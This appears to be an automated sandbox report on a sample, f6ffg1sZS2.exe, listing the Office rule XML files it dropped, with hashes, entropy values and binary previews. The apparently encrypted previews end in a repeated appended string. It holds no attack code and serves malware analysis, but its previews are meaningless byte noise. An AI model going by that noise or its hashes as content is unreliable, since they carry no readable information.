Preview:	<?xml.)\.0....S...tP..R..J..\..}....n.\z.]...a.S........a.}.#.....<6.U..&.c.w........).....S:9.x..B:.}c....Xwk...~.4A.....G..X...+..e?.gy.M...`M\|\.~B.I...<..y.Ksg..Z....L.:....G.-a...m.:.f..,MpW..C<..F. ..D.g..l.....$5......@....9<..s..k...ep.GA..a`FN..GM....N..h.vCq.@].@...:..h.<......Tm&.5..a.f9..'..:...:..Q..&.b..w.".J..h..<.CN.@.V...-`.UnP."...K..{./...-v.^.k.9..g....Y........F?..2...m;.[...x9..{.V.>../...?R.....n.A~X.....M.....5b.w.AF.L[....p.1.7L..'.$........M\.#.)5.2..d.WR.7..it...R q....;..v...#...:.H.@[e....z."O..@.6...IP.B5....y.._...9B...S\|<l..G.0.s..V...d..`.w.&M......hB[5W...F..R..#.. .m ..7...F.......+\.....B/u......+.......Y.=A...W.i....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.762750269477198
Encrypted:	false
SSDEEP:	24:h21q7AcbS68/5T4q3fXdFf1DfHW/XWF95bD:h21Bchc2OzVQGFvD
MD5:	B3A4175312C3AB0F612F949A02A311E4
SHA1:	04EDF777CBEEFC74CEA4EA762C93A9824CCCF298
SHA-256:	CCD43814046453F7F137D7501180CC0B8A5291A61BDCBD202510E74FEFFA3BBA
SHA-512:	5681E49505ED58209E5B87DB73A6D8C0AD2405B835768F7D51C68D5F8E07058D7390FE1A9611DCCCDB1915738833A8595C09E59B5270FB61E199CE67E302589A
Malicious:	false
Preview:	<?xml..Y.8>...r..gX...z..D.Y..K_T..I......s9.r)`.%.8.-..".....C.2....s?..>.HB.........0h.Ff}.D.i.=qp%v...\j...kW.......o..u.3...}.-...t.c.\|...U.....%...y..J.......+.%......'t.^....\..<..y.+Cab?x........xF.X...?....g-`...G...[9V...HK..a.X..~8.....f}G..s%...e.>..i.F8.q.........pz...T'......."..9.q?-..PfX{...?...a..t...'....".;+....1.g...\|?R&Z.+....wC...6.y.l.&"..c.....^..8D...LT....+-.....,6.E9y:Uj....i..N..If....<....~..4.\|...Np.Z...:u.....c20"HP....+.....m. .o..........2 ..../h....@..92.LWN.][.T.6..>.2%5../t.....u.3..(8.!.b...R8.....$...,.....E......(!\|.NM...3{.......<S3Q.?..!Y#....+..HW...v.9.....e>..3.cB...J.sN..N.r4.......q...y..LTk..X...t.,..Uu>..l...V.}...~.......8y..tm0#;...f..,.H.....@.M9.rB.a..@.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.844184228652788
Encrypted:	false
SSDEEP:	24:IBssLQoFqCoQ8Gnyo/hRNCMaUXRW0+Wvb6au35wSZgr+iHu0EJbD:GjsoFjoTA/31hXQ0+WzjTZrNO08D
MD5:	3677FD7F40A187B267E64A04D4BC4981
SHA1:	9C9E37AFE0C264D1EDBE19D9991D5AF161E55DB6
SHA-256:	4D8EAB6533772293EDA04EA88F6481C5366C65B88AAD2F707055B169AEA0947D
SHA-512:	8DF9E2E01AD3D9CCC65D527757CBC30F7EC1D77871A05DDEC899B643516D962E47AB395987CEBF7BC7DCAA614A431CDB884C48623279CB3EF05E269B00C62831
Malicious:	false
Preview:	<?xml^4.a......W%...x.h......2.b.......JH@.-..v.BM@..q..wG..0...Q..j..x......1.....<.'...>.i.x...P...S>...4.C..X~A......`......C..Oeb^.P.7\..#.....=..u.j....'....".......xK..<...9$.......z....S..q....]...X..6)x..;07-9.L/.Y..M.......].....aW..6...9.m..V...szi.;7...1,.Z.v..R....Y)4..S........\|^..m-..3;......r.....3TK..].r._Z....././.r.....`.g.....`.....4....P..,W.Wg.5U..8..)4_...<.....s.r..n.y...h.=Z.Pw.O.p...;.....!....D]`..`.6..L.GH.!....).O.\|..d.S......\..hs~. ...n\l.,.yJ..F...[.. ....M,..7..3.;.3.ewc. m3.iJh...\....y..'..f..i3...S:%.X2..3.U...i..~.e.........kM._..Y[t./\|Z...\|?A~.8....$...y....\../......j...%"N.l....i..%V......of...V...mj...n.A...B9".O/I...+..+..w..d#.....z.P{..B`M...;..w..K.D..j...Q.......&5..,..?...e&.HE.+n.K.`7~...8..Q..@.w2T...W.T%...`+.;....{P........C2.O.."....'.z....+k.# ...+8......p=w...&...<....D.......Y...`..i..e..k[IWG.[..}1T.=.n.O1.4......Oe.T.r.....B7.Fn.i.&K....W..xS...'....>..3...6...."..k...l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.749462499844665
Encrypted:	false
SSDEEP:	24:6xR40CZUCk0VlXBn64BVbXAjuYnFVqyLPr+Z7KIY9ubD:MR4lUCksXB6O1AjlnFR1IBD
MD5:	C0014E649F9B0A83B038BED3726872DD
SHA1:	0B5E8F9B4EB3858824FF2F7CB076D36EAC77E00E
SHA-256:	F39B97E9983E5C2E9E13E3F5EAE2FD9F98C3E3454A05E977DF77FDB1FA7ADC1F
SHA-512:	704031AE8842DE64730F0441DCB5EEDFED2C7C66358C52FEAA0BFE5BA91E6780F1A3E6BC2C1498E423C389A6EEFD4EB025B9E581226A85465CE1933D4359BA8B
Malicious:	false
Preview:	<?xml..."..o..bpoT^m......L.....%..yG. F.\|.....2,2c.b..lY...j.........8.&m.....>q....,...n..Fv.".....5Y.R]_`.\|o..r..h..'.k.E.&...M;!.w..$...r................!.EG0Y.......... ..R/..>......'@}.......D..g..tk.U.T..+..q...h.5)...=..hv.....r.Q.}...T.5...9;....0..VQ+';./.4.......\.7.\|..d.. x-.df..b.@Q...mF.z...Jh@..../.v...h6..KM...5.s..`af...j.q.K........Z.H...L.oh.Ym..+..3......&...4....C.e.^..........I......%*...]....X@....+.?)=DE...l......&i.}........'G...S8.1K(...[I.rUC~.X1...T.@i......~.p...1fS.~..R.Y.W..F4.`.E.....@E.....F..m8.i.K....9.h.@[..KrT.0.q.B.....i.i!x$3........R.'.-..\|...C..S...%.J..$.&., ].............r.3@........_.M$l..d'.0./.TW..L..Q..O5......'.......y....4x..@21@0i.....Y..1...)OF\..ZL^7..%foX;X..A.?.x.D..T.'s..V......! .......a..%.T"%.....0\u.S..k......%.J.iL=......&I......... e1LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.78511266803978
Encrypted:	false
SSDEEP:	12:eyhU9+JwidisZGPNkM96MHnMFxoTjz571yUSiz+5d5c/39XtHeX9KjPbxuhBkz81:LwidA1FZHoEjVBHz+nWHetUxICabD
MD5:	346C4AF211426658AE14FBE6E406C07C
SHA1:	7A03908F65568490679C1D6AB37C3BE59B811971
SHA-256:	1AB1584DFE88551123A092546F81E5B7BF7CCC3C3DFD3D1F7053D4A383FC34C8
SHA-512:	D8BF9FC4BE81F64316CB19FA56A4309671771A39A887B74A8A2AC9BD619588ABE636C2FCFEDCD5DF10E85DDCB061C5FE4587B20BCD222000B402F9CFD74D7BCA
Malicious:	false
Preview:	<?xml..P7.&...q.f.\.{!..6....).#d{t..-0...m...l.~.t..>.......&...U.R.5YD..N.3....1...=S.....I..8..k.P.2fe.A.(..t..y.jO\|1.s.L\.iH>........O.^@..2..$.q..}{....Nq.B.#Wb.>..P=8.).x..2.Fv..1...i.....^.CV{Rm..gM!...l..1i....m9..........og{..........1.5.9....R.U...([3.T..l...,..^.Z0Nq.s...(...]..\|o..2.\|.D.0"Z........lj5.q`..v..g...........'.jO..e...[<^0n.Qi.a....B..@........u.h'....\.\d....&!{b.....m..L...\....D.<}p..:.f../......o......./..H......>.V...R...}nYd...#.%.1.......;R.v.kh.eO.L..._.W..F.I...2....@...6.._.O.9....0.=...v[.....kms..17.RF........3.iM..:.N.....u.Q.B5.Q!.E.!fc/..u.I......%.+GT.t.l:...L....n....c..B.~...&9...........AwA...X.z..BU.3..f5j.W..........!......+..u.,.i.....o.9._.^Y..tVw....`..h...yf!...^\.^.lq"..t./...-...+..?.S.t_K.....-.7........%.....ke.y.....>.6./Z.>a...Qwg..?.?b.s..T../..#...g..2.,Y...Q%....!. ...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.870597766662056
Encrypted:	false
SSDEEP:	24:gH9HOJFlrEE7SEiRgi65g0o8+h+hxsFvvY69/qsRCqbzhXLqtD+4m23AFTfScObD:g+R7SEiRF65g0ofkxcAdqblGAFTfScsD
MD5:	5C926749AC2AE9FA2FEF2BE7EB38A62B
SHA1:	D9F9D856EA183233A7CD14058A1656F70890A5F9
SHA-256:	E8EF1A5A783F50D9C1D06B29BAE1E10CDCEEC6BEF26F92DCF3A721CB1FF9DA7A
SHA-512:	58EBECDDD42A23D00A5B1FABA3D071050D94E2F881F26C92A3B18201A0128A1EB218A3A8F9C98072C096CA86FAB01285DAC4B3A2BF8E870AF347D73C37569602
Malicious:	false
Preview:	<?xml].c.t.@..5.../=6 . ..A...,....Up..(......9......)\|.&.q...j.6...j5.v....n.....'V.m...l:..g..%.._..t..k......T8...w...."...a..By_=.L6...b..'...73.$.G..:..:..;.....f.0.y.A.O$....0...B.>...d...)..L..mC...E.;..UB...p..!I...[l..B[.D<%.W..(.Q.....Dk..S......P......\/...QS...b.p3..(#..Lt...,7<@R...~.......GK........ X..6....,.7_....0Y....@.z.<z...B.5.i}.}1.../eY......DK.x.&.....A..B].r.2JMQ@j.f\|a.....E1NYM/.a.Q..Yx.....r..li-.Pd....1.y.m....g.:.Y@.E....k."..f.?..Y...V../....E.U.1k&x.....=.\|.Z;.`.r.7...D;......-..././1{.....H....Ms...../$.^..D_..s7.y@..V...r.:..P.3.-f3[..#...Fy.....ne..E..ER0.R..^[8e......#J...A.t....../..4..q...D...4^.N...d..........m.b..b@. .:..5.yDsZm!...X!';>UG.+...^....`2..f<\|..R.\S..e....d.@....am....G>...K.sBK5.\|...8\|....!.~*.I.G...s\|..&.0.A.R&2.^....q...C.z....<..%P/F\..w...n.XK,3+"....tC{f8....-.<v.,....j....WY.C.`b.A......w...(..'W....mC/)..7 .....? ..\...`..4@...se.1P...)....._...,.(...6:.g....$W.$)..W.Y.."PO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.842554826504507
Encrypted:	false
SSDEEP:	24:cS8iF1Ot5nc1OpEhzaztiAwnmBgfZDDIP5ptBbPKX6ttriydZY5GG3isTPqgML7z:cS888c1OpElaBXwYgluBLKX63rif51iT
MD5:	C5930884F1AD962F485B97F3BF9F446B
SHA1:	D26C61414C810C5F28F484B82E4C37A17769A180
SHA-256:	77FE18AA9C9ADCE10B99C2E837636B2267778A496138D2EA0E9EDDB3E2F4B623
SHA-512:	47D22FE05C20C0F8CB97A447AEECB1A51AC4F6A24709D1C18D7464EAA0E94D3E440EBD6A46AE0862E3B78D02F558AE7CA0C1BBCF2C77DB21375965E31C16C5FB
Malicious:	false
Preview:	<?xmlqh)..E..^.\|W.m{.+Z.8.Ovz...." .+...."....K?lv...6.\|.y..mS.T...5....9.}{.4..C..\..3..P/aW.Z..XU..c.PD..y.i.Z..../..:..(......x.......~.cR.K..t.......G..#..#IM.2O........ u......`..vl}.:..;.[.wu...7;.`D,5.'^..I'.>.....4&...D[......R.N9.Z#.:.9........&...U.H.u..`.G...w_...u.&A..w.....z.p..o.=(..7h.U8>L..G.......l.3..v(...i..H.r.CT.;O...}.}..).,.#...l.Y...L......S..<{.2%..!u....+..j.@...K.:.S.3..8....b..... T.WtC/..Y.6\g.#....f...5...Xh.........g......... F../..m...].(..C.'nD....[."...{.]...2.......... .~.....u.......j...'..O.......L8..gi..=......M.3...D.. ...4.J&.^........>.T...8;.WX.M.9#.F4S.i.eGum<T....X..G#..:.5C..n:.j[Te!.T..9.(....;..y,.qs.Ba..r.K.%...m...`y...IVDL.3.C..9..x...\|.(..%..\|..X.....tn9F.L..@b...$r..s....HL....bE.c5.....wz..ua.......C...r.?Ntoh....P...b...&.S........~.b .q.YP..\|~.v/.7T..1Z....r..1W..Y.[\.............U^.,.."......./.[s....+F.~.?@.3..2-...,.,.$.tPs........C......^j....u8+.\!i.]Q...h.A...N.Nt.6........'\E..... .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.815775638050078
Encrypted:	false
SSDEEP:	24:GlMS83NCm9esB9I4abpCthR1e9FgA1EHPrnBtImwexbJgMbD:Gi/N3nkpCthR1+PGHzBtImIGD
MD5:	143FF065FC4E980BE857CE7F7774F842
SHA1:	A1701D9CAA33A7AD37CC5DC5D6EB2A49A3808D15
SHA-256:	F6A0796F2230369739682B9140154BEB44B1564887892A6DB216E1623083BC4C
SHA-512:	A9FE0C325AD0BA30CCB7313F619A88B4DC6CCFCC4085C7CAB953D3FBCB3ED5E33BF8E6ED773B89E5991553811F114DEEC4CBA01A92F3FA39B31A61049F9D2045
Malicious:	false
Preview:	<?xml`ek.fl........Q.w..M..Ypl.mB......7.U....s..j.P1.O.2.FjJ6...._.B..........!CF..n.X.A..B..T..Lj!<9..$...#.......S...Y..z...4.j...O..T]`k.J.k..b JP.I.B....kW..8L...rlw............bgg..Q~r..w..Ly.TQ..A...i....K......R...............8\.....K..^.............:..eZ.....Yh@W.......4...).vq.@i./.d..dK........h.^.r8....Y.'.U..L..T......E.;..Z.Z.I...S.....sL.z...=.Iee.....A8.d.Y..J.=...."......\...m.o...3...<Z.9V..<}.B.o..dx.L.K+9....@.\.\..."P..T..H+....a..$..8...F..IF.. ..P.E[.......F...2......@u.Et$...<T....+..0._B.].j.A....k....%....y.s+._.[I.(.P..c...Sy....._..G..co..5`m7.G.M..P.YpQ..O2..^V;B.......^H.J.3.......ve.J2;..v..h....X....`@..o.......s.8k.Cg$X..]..b.....2....... +.S.)...Nr..w..d...q..SY...[/......fW.%$.......\gX...P{E...S..p.i....oL9&.WBbF.v.D.........b.p.(..G.<*...a...c..A.....<...[..jH.[...kv..N..[1.O...6..)..C{..v.&%...o...,...o...... [..5..d..R.e.L..9.....d......$8eI..dw.[...O.<..V.s...GBFz<...fIc.M$"...9.I-......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.82471883157256
Encrypted:	false
SSDEEP:	24:WdN6eoiuBjHw2NXroWLYsb4/KgWkpIB6u7UoIxzLdyIkxbD:wLoiYLw2NXcWLY5i/EIgu3IBjkhD
MD5:	73A1891BC2304D5B66A0B511AA83D9F7
SHA1:	62EA836743CB00E91A39DE057C375130D9ADDD06
SHA-256:	61EE49F1E4B62982604EF4C1CE84A8FA85606667A2FB487C497C00D7647B1F29
SHA-512:	169146612284B3743A4DE8B8BE9ACEFF0F711BFCDE840842452F1154BE0E3C3088F5B136B39B2EED71B63B407E2B08F41A2813061860D2C01D87A668DB2F6D03
Malicious:	false
Preview:	<?xml.......nT8...9.w..>;..T...b~2.hQ..]...pY....k.t.7.v..!<...0....,..X2..".....I#v.=.....:Y.u.k...G.9...r..6..7b...$..js/..p.iy....r.z..s...<.\|.............g.lq2..G.....1.h ..(....{..{.A.sh..]w...CJR.....H...R8.....lf.%...x.....0aS.A.yUd.n.W../f.HE.4......I1)j..Q....M_+R..%Z.....l.>...iR:m.r..HA..0..=.\|`7..m..e/...6......2.dz3.\m}(..$.).[........(k.C..!....Rv....k..J.....-....&5...Q./..Q5.ly...3j...n.S.C.\|t.+8..z...].....s..V.W6...P...s$...:.t.Yo......\|Wh..\:`IL..N..)c+M..P.4<..0.hf...g. .%...nB.....(.lr.y...P.X...b...-.w.s...I.b..$7......Xf..t:.{.e...@..oIt....T..6.?.5L...J.....N.iP.y..r.U....9.c..]...of.Z..B.{.m:..d...U.#..aY.q.TC..s.........aa...G.=CG.~.1O5.\.~.x.2km.HY..zJ.Pn.A...b..P.s.....s\..J`.iW''..5..~.._A:@f.^X.J1.g...2F......JAT..y..es....J;em.G6...{.o#4.v2.'Q}.N...O.U_.R.e.._i...8.c......e?...\c=.aj.^.{<8.Z.O+.".x`%..N.X..N..wQ...j2t........uH..K.gb.....{z..!.F...v.q...&..\.)F.9.k9...M2.C.J.....,..x...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.8064763778398465
Encrypted:	false
SSDEEP:	24:++k1bWPhlryzVHQVv4qfxQoyx8mogSaF5ZJddlf7bD:++MuAxHUySmoe5D
MD5:	8E5495768B6DD28EA6B531F57D92D584
SHA1:	2D01C829DCFE64D1E3F4C39CC1054184485DD812
SHA-256:	ECE73AF810313483F235D1B2F152D0D93D7E397796C7E5DD9E9D7F7CC6D417A4
SHA-512:	F8BFA2F5AA488E56A7E0209E17BEA215AD65152400BA9419C6F281C29DEB1EDAB6258A33E5D20B7425537DA489D264C3DC129DCD4D804C990D8B8A618A885449
Malicious:	false
Preview:	<?xmlaKw#..Q....w..I...Q.P...{.!"..._.D.B.O.p8..]........1f.Qs....4..Eq...OE....h..2..T.....>.g.....^.'sG%.yV.SXs1e....=.......f.4.;..3.1`.q..lj.7../../s.>R..z.F.....]B..Z....(xX{A\......X.......}.O.z...m.ZT....D0MF...AKG..],...d....#.4";r.X.m..$d....~..A..J..E..:+...l.O\t..+w...>...n~P...U..7.....+..H..zx..j.e......bO`..z.`q.vM.r5t.EL."...^..zj.\|I.<.......5w.iq..M^H.o..C.f..>B.....d.#.m...T.l......q.... ......u7.........M..+L..G.....T=\.....n.....t3...'...A-..~.o.(....z...)..4...^B...E.,:.)7y."......r;o w.K.q.T/......h..X.Q...Q.=.aBeS.........~ea_..ny>.t.]v..o..m^wp....?..lD....6T.+.z..\..S.....Y...>.........pM.T..H.=..~.\|W..z.....i.......O-..d9...y..&?k1.Ld.{.oZ..i.9.G_..t.7A.o.:vk........]+F.<......B..<..T.K.....4..x.}M^.1..+qk{.lG.C@C.:N.Tba...E..W....\|:....C>.........V....:..n$p.M..m%".....p=.[a...Nh.X...!../.B../.Q..Q>...R.q....,.......8I....Y.7v'..1\.Bo!.....9h.w.K3..8..*L...,.$../Q..S..[.G...}.A.....^.......~8...X..(s.-.Z...3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.813900684156016
Encrypted:	false
SSDEEP:	24:xXsxMvnyXZt4bXJADFM0GCp87W4ODuvbD:xXsuA4FAZt87WPaD
MD5:	BE01B42B59BC8612A9F3016AE27EE359
SHA1:	22D61D752A24A47D2B4F924AA7E0D7BD8480B13B
SHA-256:	1D6986F3A5B2D36805425D2673FB063DD5FC7BB4A1FC687087C3BDF9550FC782
SHA-512:	313E1A9D3CA5C9E7DF988E08E5A8EDB99E2C6BB8DF3D8330C9FB0DE3CE74371124E5D83D92D2D35F4D467BB735B9835E095FCFCB1C27228558B6C4C0FA32523B
Malicious:	false
Preview:	<?xml..I.ipA...<..O~X.! sF.o.{#...V...1.w......U.c.....M..3.R...S.N.....+.Q....b\|.h.~...~.w<.....G..:.......2.M..".g..S..o!..r._./F.1..`f.....:I.....4... &>...JN.\..C. ...........~6..A....G?...C..l...q...6....4]..q..ID..V.....Q..P.,.jO.~.C.AE...).vB] ..P..^xa...t[....!.u...F..]=..w..o.I.....6q...L.9...`6....P3{8..s.L..?Q8JI1...y..].a$..,.V"...=.#.o./'y&b.TI_e..K..lx'.3K..Je..m.........$.1..xoX.wz..ZG.0...>.R../4.h.~........@.z.1_J.....v~...._Gy.>.....8.@.'D_.7...9'.Ho....:......E.._H...5....e.>9..^..u..#7.Q$.?Jn.e{m.....8.8;.b9........n.:'ZI.Of}.LAq....ds.."&.....N....<.".u..sO'........b.n(.Ow5.}8...T....2...Uka\|sq..q.YSH.........@..?3.....5dY.<.Dr6.k.8.P....[K.H...n......t.-.G..o.........p.5..5x..WU....i...;N...Q....J....".p.....r.aO.........{............3.J..1ugu....8z..S!8#...~B..Ml^...W.-..i.,......?..wKO..-C(4.&.j..&.{...{.@....r0....&o..X..kH....'.6).L&E.....#..*S..X!X..[..dg..u._..0.SL...o._.>}.Xh.T...S.+.......=.K1.._iv...E[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.760865449886876
Encrypted:	false
SSDEEP:	24:nBL87OX/QWHWZMWSX+trBK1w8Iv9J0Hc6HoC1BXuavobD:a8QW2ZMx+dcA9WnPhKD
MD5:	47FF04284A5BD37CBF05410BA47BE399
SHA1:	7673E9D3093048532EAD4189B7E17D4EF2CCE609
SHA-256:	7A3C7D3C29EF3B5411977FE77FFFB3DEC87F027963C884B54A4DAAC3497902FB
SHA-512:	37F8E216E0BBE34C5FE8BA4FA305DC4D9766569E9A583FDF97418D8923CF3732A5AAFB800857900789CEEA2401E13A68F247698BC87DC640EA0BFC217199EACE
Malicious:	false
Preview:	<?xml.a.mZ....yx...7...l.m.{.O(....6....)..Cy.._6B....oQ..QD.%W....<6...B.W..vx....$9...5.,....N.D..p.=.JC.@.F.80..\...TM...b..h.]..).mB......p..C.?.."h..U._..,..fjE...qA.V..e=Q....r...)P.$...&....>.g.v.Q..d......^..U:.P..!...k..3{...w}E.v._.k..LH..C.%.Z...X.'.gB...."..&.....O...(i.r..M.eG.\|.....H...j..N.9..!..\T\.S..b.y.$..i../.T..#.U2.....'.@,=k..W.f.......f.X.Jr.@4U..4W.q.<.....,(..O.d......J.OkfI..Iq`HM7..o.l.=.W}\|_fW!.+....<81r.S......w.&..<...O....G...#.0M...x...q..S.w...p\..8RliO<......_......nF.^l<..Wh.y.yn,.....B5#....l[.y...M..W.<.....C+...h-..$dU..E...}.-"...z..S....v..@.<0K.CPC\|.!.D..4......].*............U....T.W.9.\;p...........;i......00...5.D.#...1O..K.:..E.fx..5Z.5...O..C.^.....G6K..yz....+{....1.#..l..m....8..l5}...Q..nOOg......c.b.....QWQ...........yE..................B...\|.:ko..+x.....bz.<o...K.7.=.?.el..F./......o`....:6...W.w.q.{..5.j.E.[........Q.P`.4.B.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.957623104024776
Encrypted:	false
SSDEEP:	96:KWEGgqxI6H9d2TEMoCVsvw/JeJhHta6WWg2Ze8Dy9uS0:KWEGxpHStVsvwBeX7WWg/C
MD5:	56E027CD70401B892DCC1292D6B3F6EA
SHA1:	798B6CEB343155D6DF5DDF75C81AA3945AF62A28
SHA-256:	B8D30816F0500E8A7C00CC44EF52CA415EDEFBAC75932FFCCD449A0F93E4B1AE
SHA-512:	3A38D8D644D6DBDB4EE6204AB985E455722B91362BBC10BDAAC699BD9DBBD692A59A108E2B9140DAFCE7889B7A42DDF9B21183E76C8DB7D8A160E266B9952B33
Malicious:	false
Preview:	<?xmlR\|j......rWN..s..E.Pq.F..o....s..Yu.A..$...Ge.@...[..~?L...@..z.S....?.ie...]........Np..1......`n....}..B...B.)...\..v.LE4).n.}..m.....d..X...$..I..:\|.x..u..{.-v.LT0.lq..Y...$a}xr...<D&.....OA.qPX5..+.............s(...1.Z..I...O."/u.....w.a..ns.V.(...7).v..w.&..!....QRu9....u.^...........F.......N@....fy\|...a+....d..5...T.....e.}mB.'..Q.J.....&..ofd$3..?E.Cl.....!.......h.V.X.....&.oZL...-4..>JMQ{...lC....#....knr....J....-...,.Z>..1"~1..."..RAw7...Jpr...#z...u..k........V.8..[..8s.zM..\|.9..(8..&Ut.c.6GQ..O....\..%....[/..n....Kn....\...6.g.(2.n.,.Pb...k........!......@_.)_DZ..'Xn.]q...!...g5@ ...T.F'...KE......b..T.......Sk_.....M....^y.4......E"..../.v...:...}..0...m.,b....e8....a.,#......^E.E.....s.l:......v.......kE5...._.t.Z-..#...../.R.I......5...,..i.%..e.8a.Vj.. -....9.y)..\|..Y#.......{.j"}I...!..O+.&h......y_.}/Y<&)...1n&c.......v'.3.HK.....C....gn...!.....8....`.@B.....W.........<......0.T..>.'........A.9#.u.h.Jh.6...O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.708878611273983
Encrypted:	false
SSDEEP:	12:/OfmPi+VFJr3fOTSiQGjEKwXzxTQvNG6JqMtz8Fv8V+a32qQC2SIS2cii9a:/Of8/JTfnBzBQvNGH8zoa+a3jQC2SwbD
MD5:	EF0009AD330AA1A6523CDCFE6FC32A13
SHA1:	158DC7E5314EC4A7247283E0B3F80442DF6051B0
SHA-256:	8146882D5BD74FF8ECC9777784FE658FCEB0CEB824FD518266E39F3D9C427CEC
SHA-512:	F153A5813846B280761632E494A4C6BAAD6BD96FF57E285EC46835809288374EEBA9F28C53EFC2B8AB4385F8907B6B81CBEB0B68D9E9FD8C38FB812EFBF51E5F
Malicious:	false
Preview:	<?xml..'..Bk...vM..`ac.t.`..O^..C/xQ...m!zK....T..\.`..1.=;.,..p.....BK):.:..qu...^.'.W...K~,...\...1..{.x@y?R~_q.1.. r.d...9&....S.i..........-'.o.~k....1"..l..\|..(..!...,.#.-....#.tT..z.H.];rg.;........K....U...#...I=.k..m.O..8.....Q..^......X.&O..9..t*".T.....r.U.`..HX..:... .+.z'77?.#.Y..ox.-D.9j.a....S....]..uv.OMA...P.Qc....]2yo..:$...Z..B..Dn...O....:..FXU..0P.M.C...q..d..CPZ^s...9\|..............H..^.Y......a.Mq...#<M.....F{;....".9R.I... -.?..0.7a...lr..;"...z...;...Z....(..L].Md.'J..}../.=U.\|.Nt..eU<.f.I.."."/....qI...a;.5....g..%..m.vvd...\|..4.Z..B..zl_.......uQ.#\e.?.O.p{..........\|.C.......9....>..I.j.....w...a..7g.........;...J..p..v..E.i..l?.......$.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.955035370403439
Encrypted:	false
SSDEEP:	96:2DtsTLHLybTI9Dbdm4M7oogFMZdvI4FXelC+EWJYMtVvT:7Lyb+VhozdXUlC+7JP3
MD5:	81A7EF7DC6EA156226A146C6793BBAB0
SHA1:	81776617105790ACC9124CB0835479DDBF85ABB5
SHA-256:	DE7E53B0491FAE8EF9A771BDCFF16DF78E0B8B2BFF1F3E3E5E12B11B6545B33A
SHA-512:	40A69FD91E6A15EE78AA0428C025768B1B8FD5DDFDC51018543614B94D0DD72C239B9330CC620B2BD620B28BB12F86B02771BB3A30CEA653A4D832A728E546C2
Malicious:	false
